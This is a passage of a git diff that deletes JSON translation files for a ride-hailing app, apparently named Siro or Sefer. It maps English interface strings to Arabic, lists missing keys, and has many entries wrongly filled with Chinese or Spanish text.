شريحة؟ عادي! كلم الكابتن من التطبيق.", - "This ride type allows changes, but the price may increase": "تقدر تغير بس السعر بيزيد", - "Select one message": "اختر رسالة", - "I'm waiting for you": "أنا أنتظرك", - "We noticed the Siro is exceeding 100 km/h. Please slow down for your safety. If you feel unsafe, you can share your trip details with a contact or call the police using the red SOS button.": "لاحظنا السرعة زادت عن 100. هدي السرعة لسلامتك.", - "Warning: Siroing detected!": "تحذير: سرعة عالية!", - "Please help! Contact me as soon as possible.": "فزعة! كلمني بسرعة.", - "Share Trip Details": "شارك تفاصيل المشوار", - "Car Plate is ": "اللوحة: ", - "the 300 points equal 300 L.E for you \\nSo go and gain your money": "300 نقطة تساوي 300 ر.س لك\\nرح اكسب فلوسك", - "the 300 points equal 300 L.E": "300 نقطة بـ 300 ر.س", - "The payment was not approved. Please try again.": "الدفع ما انقبل. جرب مرة ثانية.", - "Payment Failed": "فشل الدفع", - "This is a scheduled notification.": "هذا إشعار مجدول.", - "An error occurred during the payment process.": "خطأ في الدفع.", - "The payment was approved.": "تم الدفع.", - "Payment Successful": "الدفع ناجح", - "No ride found yet": "ما لقينا مشوار", - "Accept Order": "قبول الطلب", - "Bottom Bar Example": "مثال الشريط السفلي", - "Driver phone": "جوال الكابتن", - "Statistics": "الإحصائيات", - "Origin": "الانطلاق", - "Destination": "الوصول", - "Driver Name": "اسم الكابتن", - "Driver Car Plate": "لوحة الكابتن", - "Available for rides": "متاح للمشاوير", - "Scan Id": "مسح الهوية", - "Camera not initilaized yet": "الكاميرا لسه", - "Scan ID MklGoogle": "مسح الهوية MklGoogle", - "Language": "اللغة", - "Jordan": "الأردن", - "USA": "أمريكا", - "Egypt": "مصر", - "Turkey": "تركيا", - "Saudi Arabia": "السعودية", - "Qatar": "قطر", - "Bahrain": "البحرين", - "Kuwait": "الكويت", - "But you have a negative salary of": "بس عليك سالب بقيمة", - "Promo Code": "كود الخصم", - "Your trip distance is": "مسافة مشوارك:", - "Enter promo code": "دخل الكود", - "You have promo!": "عندك خصم!", - "Cost Duration": "تكلفة الوقت", - "Duration is": "المدة:", - "Leave": "مغادرة", - "Join": "انضمام", - "Heading your way now. Please be ready.": "جايك بالطريق. خلك جاهز.", - "Approaching your area. Should be there in 3 minutes.": "قربت منك. 3 دقايق وأكون عندك.", - "There's heavy traffic here. Can you suggest an alternate pickup point?": "زحمة هنا. تقدر تغير موقع الركوب؟", - "This ride is already taken by another driver.": "المشوار راح لكابتن ثاني.", - "You Should be select reason.": "لازم تختار سبب.", - "Waiting for Driver ...": "بانتظار الكابتن...", - "Latest Recent Trip": "آخر مشوار", - "from your list": "من قائمتك", - "Do you want to change Work location": "تغير موقع الدوام؟", - "Do you want to change Home location": "تغير موقع البيت؟", - "We Are Sorry That we dont have cars in your Location!": "آسفين، ما في سيارات حولك!", - "Choose from Map": "اختر من الخريطة", - "Pick your ride location on the map - Tap to confirm": "حدد موقعك ع الخريطة - اضغط للتأكيد", - "Siro is the ride-hailing app that is safe, reliable, and accessible.": "سيرو تطبيق مشاوير آمن وموثوق.", - "With Siro, you can get a ride to your destination in minutes.": "مع سيرو، توصل وجهتك بدقايق.", - "Siro is committed to safety, and all of our captains are carefully screened and background checked.": "ملتزمين بالسلامة، وكل كباتننا مفحوصين أمنياً.", - "Pick from map": "اختر من الخريطة", - "No Car in your site. Sorry!": "ما في سيارة عندك. المعذرة!", - "Nearest Car for you about ": "أقرب سيارة لك بعد ", - "From :": "من:", - "Get Details of Trip": "تفاصيل المشوار", - "If you want add stop click here": "تبي تضيف وقفة اضغط هنا", - "Where you want go ": "وين تبي تروح ", - "My Card": "بطاقتي", - "Start Record": "ابدأ التسجيل", - "History of Trip": "سجل المشاوير", - "Helping Center": "مركز المساعدة", - "Record saved": "انحفظ التسجيل", - "Trips recorded": "المشاوير المسجلة", - "Select Your Country": "اختر دولتك", - "To ensure you receive the most accurate information for your location, please select your country below. This will help tailor the app experience and content to your country.": "عشان نعطيك معلومات دقيقة، اختر دولتك.", - "Are you sure to delete recorded files": "متأكد تبي تحذف الملفات؟", - "Select recorded trip": "اختر مشوار مسجل", - "Card Number": "رقم البطاقة", - "Hi, Where to ": "هلا، لوين؟", - "Pick your destination from Map": "حدد وجهتك من الخريطة", - "Add Stops": "إضافة وقفات", - "Get Direction": "الاتجاهات", - "Add Location": "إضافة موقع", - "Switch Rider": "تغيير الراكب", - "You will arrive to your destination after timer end.": "بتوصل بعد انتهاء المؤقت.", - "You can cancel trip": "تقدر تكنسل", - "The driver waitting you in picked location .": "الكابتن ينتظرك.", - "Pay with Your": "ادفع بـ", - "Pay with Credit Card": "ادفع بالبطاقة", - "Show Promos to Charge": "عروض الشحن", - "Point": "نقطة", - "How many hours would you like to wait?": "كم ساعة تبي تنتظر؟", - "Driver Wallet": "محفظة الكابتن", - "Choose between those Type Cars": "اختر نوع السيارة", - "hour": "ساعة", - "Select Waiting Hours": "اختر ساعات الانتظار", - "Total Points is": "مجموع النقاط", - "You will receive a code in SMS message": "بيجيك كود برسالة نصية", - "Done": "تم", - "Total Budget from trips is ": "إجمالي الدخل: ", - "Total Amount:": "المبلغ الكلي:", - "Total Budget from trips by\\nCredit card is ": "إجمالي الدخل بالبطاقة: ", - "This amount for all trip I get from Passengers": "هذا المبلغ من كل الركاب", - "Pay from my budget": "ادفع من رصيدي", - "This amount for all trip I get from Passengers and Collected For me in": "المبلغ المجمع لي في", - "You can buy points from your budget": "تقدر تشتري نقاط من رصيدك", - "insert amount": "دخل المبلغ", - "You can buy Points to let you online\\nby this list below": "اشتر نقاط عشان تكون متصل\\nمن القائمة", - "Create Wallet to receive your money": "أنشئ محفظة لاستلام فلوسك", - "Enter your feedback here": "اكتب ملاحظتك", - "Please enter your feedback.": "اكتب ملاحظتك لاهنت.", - "Feedback": "ملاحظات", - "Submit ": "إرسال ", - "Click here to Show it in Map": "اضغط للعرض على الخريطة", - "Canceled": "ملغي", - "No I want": "لا أبي", - "Email is": "الإيميل:", - "Phone Number is": "الجوال:", - "Date of Birth is": "تاريخ الميلاد:", - "Sex is ": "الجنس: ", - "Car Details": "تفاصيل السيارة", - "VIN is": "رقم الهيكل:", - "Color is ": "اللون: ", - "Make is ": "الشركة:", - "Model is": "الموديل:", - "Year is": "السنة:", - "Expiration Date ": "تاريخ الانتهاء: ", - "Edit Your data": "تعديل بياناتك", - "write vin for your car": "اكتب رقم الهيكل", - "VIN": "رقم الهيكل", - "Please verify your identity": "تحقق من هويتك", - "write Color for your car": "اكتب اللون", - "write Make for your car": "اكتب الشركة", - "write Model for your car": "اكتب الموديل", - "write Year for your car": "اكتب السنة", - "write Expiration Date for your car": "اكتب تاريخ الانتهاء", - "Tariffs": "التعرفة", - "Minimum fare": "أقل سعر", - "Maximum fare": "أعلى سعر", - "Flag-down fee": "فتح الباب", - "Including Tax": "شامل الضريبة", - "BookingFee": "رسوم الحجز", - "Morning": "صباح", - "from 07:30 till 10:30 (Thursday, Friday, Saturday, Monday)": "من 7:30 لـ 10:30", - "Evening": "مساء", - "from 12:00 till 15:00 (Thursday, Friday, Saturday, Monday)": "من 12:00 لـ 3:00", - "Night": "ليل", - "You have in account": "عندك بالحساب", - "Select Country": "اختر الدولة", - "Ride Today : ": "مشوار اليوم: ", - "After this period\\nYou can't cancel!": "بعد هالوقت\\nما تقدر تلغي!", - "from 23:59 till 05:30": "من 11:59 م لـ 5:30 ص", - "Rate Driver": "قيم الكابتن", - "Total Cost is ": "التكلفة الكلية: ", - "Write note": "اكتب ملاحظة", - "Time to arrive": "وقت الوصول", - "Ride Summaries": "ملخص المشاوير", - "Total Cost": "التكلفة الكلية", - "Average of Hours of": "معدل الساعات", - " is ON for this month": " متصل هالشهر", - "Days": "أيام", - "Total Hours on month": "ساعات الشهر", - "Counts of Hours on days": "عدد الساعات بالأيام", - "OrderId": "رقم الطلب", - "created time": "وقت الإنشاء", - "Siro Over": "انتهى المشوار", - "I will slow down": "بهدي السرعة", - "Map Passenger": "خريطة الراكب", - "Be Slowly": "على مهلك", - "If you want to make Google Map App run directly when you apply order": "تبي قوقل ماب يفتح علطول؟", - "You can change the language of the app": "تغيير اللغة", - "Your Budget less than needed": "رصيدك أقل من المطلوب", - "You can change the Country to get all features": "غير الدولة عشان كل الميزات", - "There is no Car or Driver in your area.": "您所在的区域没有车辆或司机。", - "Change Country": "تغيير الدولة", - "The audio file is not uploaded yet.\\nDo you want to submit without it?": "El archivo de audio aún no se ha subido.\\n¿Quiere enviarlo sin él?", - "Failed to book trip: ": "Failed to book trip: " - }, - "missing_keys": [ - "Promo Error", - " in your", - "100000 ${'LE", - " wallet due to a previous trip.", - "Invalid QR Code format", - "security_warning", - "Country Picker Page Placeholder", - "Your payment is being processed and your wallet will be updated shortly.", - "$firstName $lastName", - "Your device appears to be compromised. The app will now close.", - "Egypt' ? 'LE", - "Please enter phone number", - "Network error occurred", - "Notice", - "Secure", - "profile', localizedTitle: 'Profile", - "message'] ?? 'An unknown server error occurred", - "Route", - "This is the total number of rejected orders per day after accepting the orders", - "${(double.parse(controller.totalPassenger.toString())) * (double.parse(box.read(BoxName.tipPercentage.toString())))} ${box.read(BoxName.countryCode) == 'Egypt' ? 'LE", - "1 ${'LE", - "$title ${'Saved Successfully", - "${'Model is", - "10000 ${'LE", - "Please paste the transfer message", - "${'Update", - "${'Color", - "Advanced Tools", - "${'Keep it up!", - "${'Rides", - "Enter a password", - "min", - "Waiting for trips", - "contacts. Others were hidden because they don\\'t have a phone number.", - "15000 ${'LE", - "15 ${'LE", - "Nearby", - "name_ar'] ?? data['name'] ?? 'Unknown Location", - "${'Code", - "${'Tip is", - "${controller.driverCompletedRides} ${'rides", - "${'Make is ", - "Please enter a description of the issue.", - "Your data will be erased after 2 weeks\\nAnd you will can\\'t return to use app after 1 month", - "Error', 'An application error occurred.", - "${'Where to", - "Siro is the safest and most reliable ride-sharing app designed especially for passengers in Syria. We provide a comfortable, respectful, and affordable riding experience with features that prioritize your safety and convenience.", - "${'You will be thier in", - "label': 'Dark Mode", - " ${locationSearch.pickingWaypointIndex + 1}", - "Pay by Cliq", - "$countPoint ${'LE", - "email', 'support@intaleqapp.com', 'Hello", - "You have been successfully referred!", - "${'Negative Balance:", - "Driver Referral", - "${controller.minutes} ${'min", - "driverName'] ?? 'Captain", - "${'You can resend in", - "${'Selected Date and Time", - "$countOfInvitDriver / 2 ${'Trip", - "addHome' ? 'Add Home", - "Promo', 'Show latest promo", - "You have already received your gift for inviting $passengerName.", - "${'Your trip distance is", - "${'You have call from driver", - " $index", - "label': 'Light Mode", - "${'We have sent a verification code to your mobile number:", - "${'Your fee is ", - "Note: If no country code is entered, it will be saved as Syrian (+963).", - "$pricePoint ${box.read(BoxName.countryCode) == 'Jordan' ? 'JOD", - "Welcome Back", - "$passengerName ${'has completed", - "${'Date of Birth is", - "We noticed the speed is exceeding 100 km/h. Please slow down for your safety. If you feel unsafe, you can share your trip details with a contact or call the police using the red SOS button.", - "${'How was your trip with", - "begin", - "${'Selected driver", - "${'${tip.toString()}\\$${' tips\\nTotal is", - "${'${'Hi! This is", - "${'Distance is", - "${'You have a balance of", - "${'Car Plate is ", - "Error: ${snapshot.error}", - "label': 'System Default", - "${'You are Delete", - "Microphone permission is required for voice calls", - "${'Balance:", - "Quick Access", - "Passenger Referral", - "${\"Where you want go ", - "--", - "Failed to initiate call session. Please try again.", - "Age is ", - "0.47 ${'JOD", - "Your valuable feedback helps us improve our service quality.", - "0.05 ${'JOD", - "An error occurred while picking contacts: $e", - "${\"Car Color:", - "Failed to book trip: $e", - "Simply open the Siro app, enter your destination, and tap \"Request Ride\". The app will connect you with a nearby driver.", - "${'Email is", - "Scan QR", - "Complete your profile", - "Sign in to continue", - "} ${AppInformation.appName}${' to ride with", - "Trip finished ", - "${'Your Ride Duration is ", - "Your QR Code", - "${'Total price to ", - "${'Showing", - "${'Age", - "endName'] ?? 'Destination", - "${'Year is", - "${'Cost Duration", - "${'Color is ", - "addWork' ? 'Add Work", - "${'Phone Number is", - "Rating is ", - "Contact permission is permanently denied. Please enable it in settings to continue.", - "Reward Claimed", - "message'] ?? 'Claim failed", - "${'Claim your 20 LE gift for inviting", - "1 ${'JOD", - "${res['name']} ${'Saved Sucssefully", - "40000 ${'LE", - "${'You have call from Passenger", - "Invalid QR Code", - "message']?.toString() ?? 'Invalid Promo", - "${'Expiration Date ", - "${'You have a negative balance of", - "For App Reviewers / Testers", - "shareApp', localizedTitle: 'Share App", - "20 ${'LE", - "Trips: $trips / $target", - "$displayPrice ${CurrencyHelper.currency}\", \"Price", - "Invitations Sent", - "App Tester Login", - "${'Please enter", - "Error uploading proof", - "We noticed the speed is exceeding 100 km/h. Please slow down for your safety...", - "e.g. 0912345678", - "${controller.driverRatingCount} ${'reviews", - "${'Car", - "\"", - "${'Fee is", - "${'Plate", - "Click here to begin your trip\\n\\nGood luck, ", - "Could not add invite", - "promo_code']} ${'copied to clipboard", - "Egypt': return 'EGP", - "Hi ,I Arrive your location", - "Reward Status", - "Failed", - " joined", - "${'you will pay to Driver", - "${controller.distance.toStringAsFixed(1)} ${'KM", - "${controller.prfoileData['first_name'] ?? ''} ${controller.prfoileData['last_name'] ?? ''}", - "message']?.toString() ?? 'Failed to create invoice", - "${'Stop", - "Fast matching", - "wallet', localizedTitle: 'Wallet", - "Hi, Where to ", - "${'Tip is ", - " ')[0]).toString()}.\\n${' I am using", - "${'Duration is", - "${'you have a negative balance of", - "200 ${'JOD", - "Align QR Code within the frame", - "Reward Earned", - "Potential security risks detected. The application will close in @seconds seconds.", - "Permission Required", - "Work time is from 10:00 AM to 16:00 PM.\\nYou can send a WhatsApp message or email.", - "carType'] ?? 'Car", - "whatsapp', getRandomPhone(), 'Hello", - "${'Valid Until:", - "Syria': return 'SYP", - "${'VIN is", - "${'Sex is ", - "20000 ${'LE", - "${'Pay", - "${\"Working Hours:", - "Call Ended", - "${AppInformation.appName} Balance", - "${AppInformation.appName} ${'Balance", - "${'DISCOUNT", - "Scan QR Code", - "Do you want to send an emergency message to your SOS contact?", - "startName'] ?? 'Start Point" - ] -} \ No newline at end of file diff --git a/siro_service_translations_data.json b/siro_service_translations_data.json deleted file mode 100644 index 202a363..0000000 --- a/siro_service_translations_data.json +++ /dev/null @@ -1,874 +0,0 @@ -{ - "existing_syrian": { - "red": "أحمر", - "green": "أخضر", - "blue": "أزرق", - "black": "أسود", - "white": "أبيض", - "yellow": "أصفر", - "purple": "أرجواني", - "orange": "برتقالي", - "pink": "وردي", - "brown": "بني", - "Insert site of Owner": "أدخل موقع المالك", - "Insert site of Driver": "أدخل موقع السائق", - "Insert registration_date of Car": "أدخل تاريخ تسجيل السيارة", - "Insert phone of Owner": "أدخل هاتف المالك", - "Insert Name of Owner": "أدخل اسم المالك", - "Insert year of Car": "أدخل سنة السيارة", - "Insert registration_date of Driver": "", - "Insert car_type of Driver": "أدخل نوع السيارة للسائق", - "Insert car_model of Driver": "أدخل طراز السيارة للسائق", - "Insert car_number of Driver": "أدخل رقم سيارة السائق", - "Add Car Who Wants to Work": "أضف السيارة التي ترغب في العمل", - "Add Driver Who Wants to Work": "إضافة سائق يرغب في العمل", - "Insert Name of Driver": "أدخل اسم السائق", - "Insert national ID of Driver": "أدخل الرقم الوطني للسائق", - "Insert phone of Driver": "أدخل رقم هاتف السائق", - "Insert license type of Driver": "أدخل نوع رخصة السائق", - "Insert birth_date of Driver": "أدخل تاريخ ميلاد السائق", - "gray": "رمادي", - "cyan": "سماوي", - "magenta": "بنفسجي", - "lime": "ليموني", - "indigo": "نيلي", - "violet": "بنفسجي", - "raw gray": "رمادي ", - "gold": "ذهبي", - "silver": "فضي", - "teal": "تركوازي", - "navy": "كحلي", - "Eggplant": "باذنجان", - "Dark Red": "نبيتي", - "Sky Blue": "أزرق سماوي", - "Mocha": "موكا", - "Drivers Activity": "نشاط السائقين", - "Drivers phones not register": "هواتف السائقين غير مسجلة", - "Register new driver": "تسجيل سائق جديد", - "Champagne": "شامبان", - "Drivers waitting Register": "السائقون في انتظار التسجيل", - "Bronze": "برونزي", - "Maroon": "ماروني", - "Drivers Want Register": "السائقون يريدون التسجيل", - "Capture an Image of Your Criminal Record": "拍摄您的犯罪记录图像", - "IssueDate": "签发日期", - "Capture an Image of Your ID Document Back": "拍摄您的身份证件图像", - "Capture an Image of Your car license front": "拍摄您的汽车牌照正面的图像", - "Capture an Image of Your ID Document front": "拍摄您的身份证件正面的图像", - "Capture an Image of Your car license back": "拍回您的汽车驾照图像", - "Capture an Image of Your Driver’s License": "拍摄您的驾驶执照的图像", - "Capture an Image of Your Driver License": "拍摄您的驾驶执照的图像", - "Not found any image": "لم يتم العثور على أي صورة", - "Documents check": "文件检查", - "ID Documents Front": "身份证件正面", - "Vehicle Details Front": "车辆详细信息 正面", - "Vehicle Details Back": "车辆详情 返回", - "Criminal Record": "犯罪记录", - "ID Documents Back": "身份证件 返回", - "Driver's License": "驾照", - "Your driver’s license and/or car tax has expired. Please renew them before proceeding.": "لقد انتهت صلاحية رخصة القيادة و/أو ضريبة السيارة الخاصة بك. يرجى تجديدها قبل المتابعة.", - "Your driver’s license has expired. Please renew it before proceeding.": "لقد انتهت صلاحية رخصة القيادة الخاصة بك. يرجى تجديدها قبل المتابعة.", - "The national number on your driver’s license does not match the one on your ID document. Please verify and provide the correct documents.": "您的驾驶执照上的国家号码与您的身份证件上的号码不匹配。请核实并提供正确的文件。", - "Welcome Drivers": "أهلاً بالسواق", - "License Categories": "许可证类别", - "Notes:": "ملاحظات:", - "Enter notes here...": "أدخل الملاحظات هنا...", - "Call Driver": "اتصل بالسائق", - "Success": "成功", - "Changes saved successfully": "تم حفظ التغييرات بنجاح", - "Save Changes": "حفظ التغييرات", - "Passengers Cant Register": "الركاب لا يستطيعون التسجيل", - "Enter notes after call": "أدخل الملاحظات بعد المكالمة", - "Notes": "ملاحظات", - "Save Notes": "حفظ الملاحظات", - "Created At": "أنشئ في", - "Phone Number": "رقم الهاتف", - "Drivers Cant Register": "السائقون لا يستطيعون التسجيل", - "Plate Number": "车牌号码", - "Make": "制作", - "Model": "模型", - "Year": "年", - "Color": "颜色", - "Fuel Type": "نوع الوقود", - "Displacement": "移位", - "Registration Date": "تاريخ التسجيل", - "Expiration Date": "截止日期", - "License Information": "معلومات الرخصة", - "License Type": "许可证类型", - "Card ID": "رقم بطاقة الهوية", - "Issue Date": "签发日期", - "Expiry Date": "到期日", - "Categories": "التصنيفات", - "Bank Information": "معلومات البنك", - "Account Number": "رقم الحساب", - "Bank Code": "رمز البنك", - "Driver Statistics": "إحصاءات السائق", - "Name (English)": "姓名(英文)", - "Name": "姓名", - "Phone": "رقم الهاتف", - "Gender": "性别", - "Birthdate": "تاريخ الميلاد", - "National Number": "国家号码", - "Religion": "宗教", - "Multiplier": "مضاعف", - "Occupation": "职业", - "Education": "教育", - "Total Rides": "إجمالي الرحلات", - "Average Rating": "التقييم المتوسط", - "Total Payments": "إجمالي المدفوعات", - "Wallet Balance": "رصيد المحفظة", - "Complaints": "الشكاوى", - "Scam Reports": "تقارير الاحتيال", - "Passengers Rated": "تقييمات الركاب", - "Avg Passenger Rating": "متوسط تقييم الركاب", - "Vehicle Information": "معلومات المركبة", - "VIN": "车架号", - "insert Driver phone": "أدخل رقم هاتف السائق", - "Driver details by phone": "تفاصيل السائق حسب رقم الهاتف", - "insert passenger phone": "أدخل رقم هاتف الراكب", - "passenger details by phone": "تفاصيل الراكب حسب رقم الهاتف", - "Sefer Service": "خدمة سفر", - "Personal Information": "معلومات شخصية", - "Email": "البريد الإلكتروني", - "Employment": "عمل", - "Marital Status": "婚姻状况", - "Latest Ride": "أحدث رحلة", - "Ride ID": "معرف الرحلة", - "Date": "تاريخ", - "Start Time": "وقت البدء", - "End Time": "وقت الانتهاء", - "Price": "السعر", - "Status": "حالة", - "Driver Information": "معلومات عن السائق", - "Payment Method": "付款方式", - "Car Type": "نوع السيارة", - "Distance": "مسافة", - "Additional comments": "تعليقات إضافية.", - "Edit car plate": "تعديل لوحة السيارة", - "View complaint": "عرض الشكوى", - "I don't have a suitable vehicle": "ليس لدي مركبة مناسبة", - "I'll register when the app is fully launched": "سأسجل عندما يتم إطلاق التطبيق بالكامل", - "I need more help understanding the app": "أحتاج إلى المزيد من المساعدة لفهم التطبيق", - "My documents have expired": "وثائقي منتهية الصلاحية", - "I'm not ready yet": "لست جاهزًا بعد", - "Wallet Information": "معلومات المحفظة", - "Last Payment Amount": "مبلغ آخر دفعة", - "Last Payment Method": "آخر طريقة دفع", - "Sign In by Apple": "通过 Apple 登录", - "Sign In by Google": "通过谷歌登录", - "How do I request a ride?": "我如何叫车?", - "Step-by-step instructions on how to request a ride through the Sefer app.": "有关如何通过 Sefer 应用叫车的分步说明。", - "What types of vehicles are available?": "有哪些类型的车辆可供选择?", - "Sefer offers a variety of vehicle options to suit your needs, including economy, comfort, and luxury. Choose the option that best fits your budget and passenger count.": "Sefer 提供多种车辆选择以满足您的需求,包括经济型、舒适型和豪华型。选择最适合您的预算和乘客数量的选项。", - "How can I pay for my ride?": "我如何支付乘车费用?", - "Sefer offers multiple payment methods for your convenience. Choose between cash payment or credit/debit card payment during ride confirmation.": "Sefer 提供多种付款方式,方便您使用。在行程确认时选择现金付款或信用卡/借记卡付款。", - "Can I cancel my ride?": "我可以取消行程吗?", - "Yes, you can cancel your ride under certain conditions (e.g., before driver is assigned). See the Sefer cancellation policy for details.": "是的,您可以在某些情况下取消行程(例如,在分配司机之前)。详情请参阅 Sefer 取消政策。", - "Driver Registration & Requirements": "司机注册和要求", - "How can I register as a driver?": "我如何注册成为司机?", - "What are the requirements to become a driver?": "成为一名司机需要什么条件?", - "Visit our website or contact Sefer support for information on driver registration and requirements.": "请访问我们的网站或联系 Sefer 支持人员,了解有关驱动程序注册和要求的信息。", - "How do I communicate with the other party (passenger/driver)?": "如何与对方(乘客/司机)沟通?", - "Sefer provides in-app chat functionality to allow you to communicate with your driver or passenger during your ride.": "Sefer 提供应用内聊天功能,让您在乘车期间与司机或乘客进行交流。", - "What safety measures does Sefer offer?": "Sefer 提供哪些安全措施?", - "Sefer prioritizes your safety. We offer features like driver verification, in-app trip tracking, and emergency contact options.": "Sefer 将您的安全放在首位。我们提供驾驶员验证、应用内行程跟踪和紧急联系选项等功能。", - "Frequently Questions": "常见问题", - "User does not exist.": "用户不存在。", - "We need your phone number to contact you and to help you.": "我们需要您的电话号码来与您联系并为您提供帮助。", - "You will recieve code in sms message": "您将在短信中收到代码", - "Please enter": "请输入", - "We need your phone number to contact you and to help you receive orders.": "我们需要您的电话号码来与您联系并帮助您接收订单。", - "The full name on your criminal record does not match the one on your driver’s license. Please verify and provide the correct documents.": "您犯罪记录上的全名与您驾驶执照上的全名不符。请核实并提供正确的文件。", - "NationalID": "国民身份证", - "FullName": "全名", - "InspectionResult": "检查结果", - "The email or phone number is already registered.": "该电子邮件或电话号码已被注册。", - "To become a ride-sharing driver on the Sefer app, you need to upload your driver\\\"s license, ID document, and car registration document. Our AI system will instantly review and verify their authenticity in just 2-3 minutes. If your documents are approved, you can start working as a driver on the Sefer app. Please note, submitting fraudulent documents is a serious offense and may result in immediate termination and legal consequences.": "要成为Sefer应用程序上的拼车司机,您需要上传驾驶执照、身份证件和汽车登记文件。我们的人工智能系统将在短短2-3分钟内立即审核并验证它们的真实性。如果您的文件获得批准后,您可以开始在 Sefer 应用程序上担任司机。请注意,提交欺诈性文件属于严重犯罪行为,可能会导致立即终止合同并承担法律后果。", - "Name (Arabic)": "姓名(阿拉伯语)", - "Address": "地址", - "driver_license": "驾驶执照", - "National ID": "国民身份证", - "Full Name (Marital)": "全名(婚姻)", - "First Name": "名", - "CardID": "卡号", - "Full Name": "全名", - "Owner Name": "业主姓名", - "Chassis": "机壳", - "Fuel": "燃料", - "Tax Expiry Date": "纳税到期日", - "Inspection Date": "检验日期", - "Sign in with Google for easier email and name entry": "使用 Google 登录以更轻松地输入电子邮件和姓名", - "You will choose allow all the time to be ready receive orders": "您将选择允许所有时间准备好接收订单", - "Welcome to Sefer!": "欢迎来到塞弗!", - "Get to your destination quickly and easily.": "快速、轻松地到达目的地。", - "Enjoy a safe and comfortable ride.": "享受安全舒适的乘车体验。", - "Choose Language": "选择语言", - "Login": "登录", - "Pay with Wallet": "使用钱包支付", - "Invalid MPIN": "MPIN 无效", - "Invalid OTP": "无效一次性密码", - "Enter your email address": "输入你的电子邮箱地址", - "Please enter Your Email.": "请输入您的电子邮件。", - "Enter your phone number": "输入你的电话号码", - "Please enter your phone number.": "请输入您的电话号码。", - "Please enter Your Password.": "请输入您的密码。", - "Submit": "提交", - "if you dont have account": "如果您没有帐户", - "Register": "登记", - "Accept Ride's Terms & Review Privacy Notice": "接受乘车条款并查看隐私声明", - "By selecting 'I Agree' below, I have reviewed and agree to the Terms of Use and acknowledge the Privacy Notice. I am at least 18 years of age.": "选择下面的“我同意”,即表示我已查看并同意使用条款并承认隐私声明。我已年满 18 岁。", - "I Agree": "我同意", - "First name": "名", - "Enter your first name": "输入您的名字", - "Please enter your first name.": "请输入您的名字。", - "Last name": "姓", - "Enter your last name": "输入您的姓氏", - "Please enter your last name.": "请输入您的姓氏。", - "City": "城市", - "Please enter your City.": "请输入您的城市。", - "Male": "男性", - "Female": "女性", - "Verify Email": "验证邮件", - "We sent 5 digit to your Email provided": "我们向您提供的电子邮件发送了 5 位数字", - "5 digit": "5位数字", - "Send Verification Code": "发送验证码", - "Your Ride Duration is": "您的骑行时间是", - "You will be thier in": "你将会在", - "You trip distance is": "您的行程距离是", - "Fee is": "费用为", - "From :": "从 :", - "To :": "到 :", - "Add Promo": "添加促销", - "Confirm Selection": "确认选择", - "distance is": "距离是", - "duration is": "持续时间是", - "I don't need a ride anymore": "我不再需要搭车了", - "I was just trying the application": "我只是在尝试该应用程序", - "No driver accepted my request": "没有司机接受我的请求", - "I added the wrong pick-up/drop-off location": "我添加了错误的接送地点", - "I don't have a reason": "我没有理由", - "Other": "其他", - "Can we know why you want to cancel Ride ?": "我们可以知道您为什么要取消行程吗?", - "Cancel Ride": "取消乘车", - "Add Payment Method": "添加付款方式", - "Your Wallet balance is": "您的钱包余额是", - "Ride Wallet": "骑行钱包", - "Type here Place": "在此输入地点", - "Are You sure to ride to": "您确定要乘车前往", - "Confirm": "确认", - "Back": "后退", - "You are Delete": "你正在删除", - "Deleted": "已删除", - "You Dont Have Any places yet !": "您还没有任何位置!", - "Favorite Places": "最喜欢的地方", - "From : Current Location": "来自 : 当前位置", - "Where to": "去哪儿", - "Notifications": "通知", - "Profile": "轮廓", - "Home": "家", - "My Cared": "我的关心", - "Add Card": "添加卡", - "Add Credit Card": "添加信用卡", - "Please enter the cardholder name": "请输入持卡人姓名", - "Please enter the expiry date": "请输入有效期", - "Please enter the CVV code": "请输入CVV码", - "Go To Favorite Places": "去最喜欢的地方", - "Go to this Target": "前往该目标", - "My Profile": "我的简历", - "Sign Out": "登出", - "Home Page": "主页", - "Are you want to go to this site": "你想访问这个网站吗", - "MyLocation": "我的位置", - "my location": "我的位置", - "Target": "目标", - "Update": "更新", - "You Should choose rate figure": "您应该选择费率数字", - "Login Captin": "登录队长", - "Register Captin": "注册队长", - "Send Verfication Code": "发送验证码", - "KM": "知识管理", - "End Ride": "结束骑行", - "Minute": "分钟", - "Go to passenger Location now": "立即前往乘客位置", - "Duration of the Ride is": "骑行持续时间为", - "Distance of the Ride is": "骑行距离为", - "Name of the Passenger is": "乘客姓名是", - "Hello this is Captain": "你好,这是队长", - "Start the Ride": "开始骑行", - "Please Wait If passenger want To Cancel!": "如果旅客想取消,请稍候!", - "Total Duration:": "总持续时间:", - "Active Duration:": "活跃时间:", - "Waiting for Captin ...": "等待队长...", - "Age is": "年龄是", - "Rating is": "评级为", - "to arrive you.": "到达你身边。", - "Order History": "订单历史", - "My Wallet": "我的钱包", - "Tariff": "关税", - "Settings": "设置", - "Feed Back": "反馈", - "Promos": "促销", - "Please enter a valid 16-digit card number": "请输入有效的 16 位卡号", - "Add Phone": "添加电话", - "Please enter a phone number": "请输入电话号码", - "You dont Add Emergency Phone Yet!": "您还没有添加紧急电话!", - "You will arrive to your destination after": "您将在之后到达目的地", - "You can cancel Ride now": "您现在可以取消行程", - "You Can cancel Ride After Captain did not come in the time": "队长未按时到达后您可以取消乘车", - "If you in Car Now. Press Start The Ride": "如果你现在在车里。按开始骑行", - "You Dont Have Any amount in": "您没有任何金额", - "Wallet!": "钱包!", - "You Have": "你有", - "Save Credit Card": "保存信用卡", - "Show Promos": "显示促销", - "10 and get 4% discount": "满 10 即可享受 4% 折扣", - "20 and get 6% discount": "满 20 即可享受 6% 折扣", - "40 and get 8% discount": "满 40 即可享受 8% 折扣", - "100 and get 11% discount": "满 100 即可享受 11% 折扣", - "Pay with Your PayPal": "使用 PayPal 付款", - "You will choose one of above !": "您将选择以上之一!", - "Cancel": "取消", - "Delete My Account": "删除我的账户", - "Edit Profile": "编辑个人资料", - "Update Gender": "更新性别", - "Update Education": "更新教育", - "Employment Type": "雇佣类型", - "SOS Phone": "求救电话", - "High School Diploma": "高中毕业文凭", - "Associate Degree": "副学士学位", - "Bachelor's Degree": "学士学位", - "Master's Degree": "硕士", - "Doctoral Degree": "博士学位", - "Promos For today": "今天的促销", - "Copy this Promo to use it in your Ride!": "复制此促销信息以在您的骑行中使用!", - "To change some Settings": "更改某些设置", - "To change Language the App": "更改应用程序语言", - "Order Request Page": "订单请求页面", - "Rouats of Trip": "旅行路线", - "Passenger Name is": "乘客姓名是", - "Total From Passenger is": "来自乘客的总计是", - "Duration To Passenger is": "到达乘客的时间是", - "Distance To Passenger is": "到乘客的距离是", - "Total For You is": "为您提供的总计是", - "Distance is": "距离是", - 